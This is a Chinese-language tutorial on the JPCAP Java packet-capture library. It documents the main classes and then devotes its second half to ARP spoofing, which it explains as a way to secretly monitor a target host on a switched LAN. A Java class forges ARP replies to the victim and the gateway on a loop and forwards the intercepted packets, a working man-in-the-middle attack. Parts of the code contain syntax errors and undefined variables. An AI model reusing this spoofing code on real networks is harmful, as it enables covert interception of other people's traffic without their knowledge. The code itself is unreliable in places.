JPCAP-JAVA中的数据链路层节制
副标题#e#
一.JPCAP简介
众所周知,JAVA语言固然在TCP/UDP传输方面给以了精采的界说,但对付网络层以下的节制,却是无能为力的。
JPCAP扩展包补充了这一点。 JPCAP实际上并非一个真正去实现对数据链路层的节制,而是一其中间件,JPCAP挪用wincap/libpcap,而给JAVA语言提供一个民众的接口,从而实现了平台无关性。在官方网站上声明,JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系统。
二.JPCAP机制
JPCAP的整个布局概略上跟wincap/libpcap是很相像的,譬喻NetworkInterface类对应wincap的typedef struct _ADAPTER ADAPTER,getDeviceList()对应pcap_findalldevs()等等。 JPCAP有16个类,下面就个中最重要的4个类做说明。
1.NetworkInterface 该类的每一个实例代表一个网络设备,一般就是网卡。这个类只有一些数据成员,除了担任自java.lang.Object的根基要领以外,没有界说其它要领。
数据成员 | |
NetworkInterfaceAddress[] | addresses 这个接口的网络地点。设定为数组应该是思量到有些设备同时毗连多条线路,譬喻路由器。但我们的PC机的网卡一般只有一条线路,所以我们一般取addresses[0]就够了。 |
java.lang.String | datalink_description. 数据链路层的描写。描写地址的局域网是什么网。譬喻,以太网(Ethernet)、无线LAN网(wireless LAN)、令牌环网(token ring)等等。 |
java.lang.String | datalink_name 该网络设备所对应数据链路层的名称。详细来说,譬喻Ethernet10M、100M、1000M等等。 |
java.lang.String | description 网卡是XXXX牌子XXXX型号之类的描写。譬喻我的网卡描写:Realtek RTL8169/8110 Family Gigabit Ethernet NIC |
boolean | Loopback 符号这个设备是否loopback设备。 |
byte[] | mac_address 网卡的MAC地点,6个字节。 |
java.lang.String | Name 这个设备的名称。譬喻我的网卡名称:\Device\NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5} |
2.JpcapCaptor
该类提供了一系列静态要领实现一些根基的成果。该类一个实例代表成立了一个与指定设备的链接,可以通过该类的实例来节制设备,譬喻设定网卡模式、设定过滤要害字等等。
数据成员 | |
int | dropped_packets 丢弃的包的数目。 |
protected int | ID 这个数据成员在官方文档中并没有做任何说明,查察JPCAP源代码可以发明这个ID实际上在其JNI的C代码部门传进来的,这类自己并没有做出界说,所以是供其内部利用的。实际上在对JpcapCator实例的利用中也没有步伐挪用此数据成员。 |
protected static boolean[] | instanciatedFlag 同样在官方文档中没有做任何说明,预计其为供内部利用。 |
protected static int | MAX_NUMBER_OF_INSTANCE 同样在官方文档中没有做任何说明,预计其为供内部利用。 |
int | received_packets 收到的包的数目 |
要领成员 | |
static NetworkInterface[] | getDeviceList() 返回一个网络设备列表。 |
static JpcapCaptor | openDevice(NetworkInterface interface, int snaplen, boolean promisc, int to_ms) 建设一个与指定设备的毗连并返回该毗连。留意,以上两个要领都是静态要领。 Interface:要打开毗连的设备的实例; Snaplen:这个是较量容易搞混的一个参数。其实这个参数不是限制只能捕获几多数据包,而是限制每一次收到一个数据包,只提取该数据包中前几多字节; Promisc:配置是否稠浊模式。处于稠浊模式将吸收所有数据包,若之后又挪用了包过滤函数setFilter()将不起任何浸染; To_ms:这个参数主要用于processPacket()要领,指定超时的时间; |
void | Close() 封锁挪用该要领的设备的毗连,相对付openDivece()打开毗连。 |
JpcapSender | getJpcapSenderInstance() 该返回一个JpcapSender实例,JpcapSender类是专门用于节制设备的发送数据包的成果的类。 |
Packet | getPacket() 捕获并返回一个数据包。这是JpcapCaptor实例中四种捕获包的要领之一。 |
int | loopPacket(int count, PacketReceiver handler) 捕获指定命目标数据包,并交由实现了PacketReceiver接口的类的实例处理惩罚,并返回捕获到的数据包数目。假如count参数设为-1,那么无限轮回地捕获数据。 这个要领不受超时的影响。还记得openDivice()中的to_ms参数么?谁人参数对这个要领没有影响,假如没有捕获到指定命目数据包,那么这个要领将一直阻塞期待。 PacketReceiver中只有一个抽象要领void receive(Packet p)。 |
int | processPacket(int count, PacketReceiver handler) 跟loopPacket()成果一样,独一的区别是这个要领受超时的影响,高出指按时间自动返回捕获到数据包的数目。 |
int | dispatchPacket(int count, PacketReceiver handler) 跟processPacket()成果一样,区别是这个要领可以处于“non-blocking”模式事情,在这种模式下dispatchPacket()大概当即返回,纵然没有捕获到任何数据包。 |
void | setFilter(java.lang.String condition, boolean optimize) .condition:设定要提取的包的要害字。 Optimize:这个参数在说明文档以及源代码中都没有说明,只是说这个参数假如为真,那么过滤器将处于优化模式。 |
void | setNonBlockingMode(boolean nonblocking) 假如值为“true”,那么设定为“non-blocking”模式。 |
void | breakLoop() 当挪用processPacket()和loopPacket()后,再挪用这个要领可以强制让processPacket()和loopPacket()遏制。 |
3.JpcapSender
该类专门用于节制数据包的发送。
要领成员 | |
void | close() 强制封锁这个毗连。 |
static JpcapSender | openRawSocket() 这个要领返回的JpcapSender实例发送数据包时将自动填写数据链路层头部门。 |
void | sendPacket(Packet packet) JpcapSender最重要的成果,发送数据包。需要留意的是,假如挪用这个要领的实例是由JpcapCaptor的getJpcapSenderInstance()获得的话,需要本身设定命据链路层的头,而假如是由上面的openRawSocket()获得的话,那么无需也不能配置,数据链路层的头部将由系统自动生成。 |
4.Packet 这个是所有其它数据包类的父类。Jpcap所支持的数据包有:
ARPPacket、DatalinkPacket、EthernetPacket、ICMPPacket、IPPacket、TCPPacket、UDPPacket
三.利用JPCAP实现监听
#p#分页标题#e#
1.监听道理 在具体说用JPCAP实现网络监听实现前,先简朴先容下监听的道理。 局域网监听操作的是所谓的“ARP欺骗”技能。在以前曾经一段阶段,局域网的机关是利用总线式(或集线式)布局,要达到监听只需要将网卡设定为稠浊模式即可,但此刻的局域网络普遍回收的是互换式网络,所以纯真靠稠浊模式来到达监听的要领已经不行行了。所觉得了到达监听的目标,我们需要“欺骗”路由器、“欺骗”互换机,即“ARP欺骗”技能。
假设本机为A,监听方针为B。
#p#分页标题#e#
首先,伪造一个ARP REPLY包,数据链路层头及ARP内容部门的源MAC地点填入A的MAC地点,而源IP部门填入网关IP,目标地点填入B的MAC、IP,然后将这个包发送给B,而B吸收到这个伪造的ARP REPLY包后,由于源IP为网关IP,于是在它的ARP缓存内外刷新了一项,将(网关IP,网关MAC)刷新成(网关IP,A的MAC)。而B要会见外部的网都需要颠末网关,这时候这些要颠末网关的包就通通流到A的呆板上来了。 接着,再伪造一个ARP REPLY包,数据链路层头及ARP内容部门的源MAC地点填入A的MAC地点,而源IP部门填入B的IP,目标地点填入网关MAC、IP,然后将这个包发给网关,网关吸收到这个伪造的ARP REPLY包后,由于源IP为B的IP,于是在它的ARP缓存内外刷新了一项,将(B的IP,B的MAC)刷新成(B的IP,A的MAC)。这时候外部传给B的数据包颠末网关时,就通通转发给A。 这样还只是拦截了B的数据包罢了,B并不能上网——办理要领是将吸收到的包,除了目标地点部门稍做修改,其它原封不动的再转发出去,这样就到达了监听的目标——在B不知不觉中欣赏了B所有的对外数据包。
Ethernet头部 | ARP数据部门 | |||||||||
6 | 6 | 2 | 2 | 2 | 2 | 2 | 4 | 6 | 4 | 6 |
方针MAC地点 | 源地MAC地点 | 范例号0x0800:ip 0x0806:ARP | 局域网范例 以太网0x0001 | 网络协议范例 IP网络0x0800 | MAC/IP地点长度,恒为0x06/04 | ARP包范例 REPLY 0x0002 | ARP方针IP地点 | ARP方针MAC 地点 | ARP源IP地点 | ARP源MAC地点 |
#p#副标题#e#
2.用JPCAP实现监听
就如上面说的,为了实现监听,我们必需做四件事:
A.发送ARP包修改B的ARP缓存表;
B.发送ARP包修改路由ARP缓存表;
C.转发B发过来的数据包;
D.转发路由发过来的数据包;
下面我们给个小小的例子说明奈何实现。
我们假定运行这个措施的呆板A只有一个网卡,只接一个网络,地址局域网为Ethernet,而且假定已经通过某种方法得到B和网关的MAC地点(譬喻ARP理会得到)。我们修改了B和网关的ARP表,并对他们的包举办了转发。
public class changeARP{
private NetworkInterface[] devices; //设备列表
private NetworkInterface device; //要利用的设备
private JpcapCaptor jpcap; //与设备的毗连
private JpcapSender sender; //用于发送的实例
private byte[] targetMAC, gateMAC; //B的MAC地点,网关的MAC地点
private byte[] String targetIp, String gateIp; //B的IP地点,网关的IP地点
/**
*初始化设备
* JpcapCaptor.getDeviceList()获得设备大概会有两个,个中一个肯定是“Generic
*dialup adapter”,这是windows系统的虚拟网卡,并非真正的硬件设备。
*留意:在这里有一个小小的BUG,假如JpcapCaptor.getDeviceList()之前有雷同JFrame jf=new
*JFame()这类的语句会影响获得设备个数,只会获得真正的硬件设备,而不会呈现虚拟网卡。
*虚拟网卡只有MAC地点而没有IP地点,并且假如呈现虚拟网卡,那么实际网卡的MAC将分
*配给虚拟网卡,也就是说在措施中挪用device. mac_address时获得的是00 00 00 00 00 00。
*/
private NetworkInterface getDevice() throws IOException {
devices = JpcapCaptor.getDeviceList(); //得到设备列表
device = devices[0]; //只有一个设备
jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的毗连
jpcap.setFilter(“ip”,true); //只监听B的IP数据包
sender = captor.getJpcapSenderInstance();
}
/**
*修改B和网关的ARP表。因为网关会按时发数据包刷新本身和B的缓存表,所以必需每隔一
*段时间就发一次包从头变动B和网关的ARP表。
*@参数 targetMAC B的MAC地点,可通过ARP理会获得;
*@参数 targetIp B的IP地点;
*@参数 gateMAC 网关的MAC地点;
*@参数 gateIp 网关的IP;
*/
public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
throws UnknownHostException,InterruptedException {
this. targetMAC = targetMAC;
this. targetIp = targetIp;
this. gateMAC = gateMAC;
this. gateIp = gateIp;
getDevice();
arpTarget = new ARPPacket(); //修改B的ARP表的ARP包
arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太网范例(Ethernet)
arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP网络协议范例
arpTarget.operation = ARPPacket.ARP_REPLY; //选择REPLY范例
arpTarget.hlen = 6; //MAC地点长度牢靠6个字节
arpTarget.plen = 4; //IP地点长度牢靠4个字节
arpTarget.sender_hardaddr = device.mac_address; //A的MAC地点
arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //网关IP
arpTarget.target_hardaddr = targetMAC; //B的MAC地点
arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B的IP
#p#分页标题#e#
EthernetPacket ethToTarget = new EthernetPacket(); //建设一个以太网头
ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //选择以太包范例
ethToTarget.src_mac = device.mac_address; //A的MAC地点
ethToTarget.dst_mac = targetMAC; //B的MAC地点
arpTarget.datalink = ethToTarget; //将以太头添加到ARP包前
arpGate = new ARPPacket(); //修改网关ARP表的包
arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; //跟以上相似,不再反复注析
arpGate.prototype = ARPPacket.PROTOTYPE_IP;
arpGate.operation = ARPPacket.ARP_REPLY;
arpGate.hlen = 6;
arpGate.plen = 4;
arpGate.sender_hardaddr = device.mac_address;
arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();
arpGate.target_hardaddr = gateMAC;
arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();
EthernetPacket ethToGate = new EthernetPacket();
ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
ethToGate.src_mac = device.mac_address;
ethToGate.dst_mac = gateMAC;
arpGate.datalink = ethToGate;
thread=new Thread(new Runnable(){ //建设一个历程节制发包速度
public void run() {
while (true) {
sender.sendPacket(arpTarget);
sender.sendPacket(arpGate);
Thread.sleep(500);
}).start();
recP(); //吸收数据包并转发
}
/**
*修改包的以太头,转发数据包
*参数 packet 收到的数据包
*参数 changeMAC 要转发出去的方针
*/
private void send(Packet packet, byte[] changeMAC) {
EthernetPacket eth;
if (packet.datalink instanceof EthernetPacket) {
eth = (EthernetPacket) packet.datalink;
for (int i = 0; i < 6; i++) {
eth.dst_mac[i] = changeMAC[i]; //修改包以太头,改变包的方针
eth.src_mac[i] = device.mac_address[i]; //源发送者为A
}
sender.sendPacket(packet);
}
}
/**
*打印接管到的数据包并转发
*/
public void recP(){
IPPacket ipPacket = null;
while(true){
ipPacket = (IPPacket)jpcap.getPacket();
System.out.println(ipPacket);
if (ipPacket.src_ip.getHostAddress().equals(targetIp))
send(packet, gateMAC);
else
send(packet, targetMAC);
}
}
留意:这个例子只是为了说明问题,并没有思量到措施的结实性,所以并不必然能在任何一台呆板任何一个系统上运行。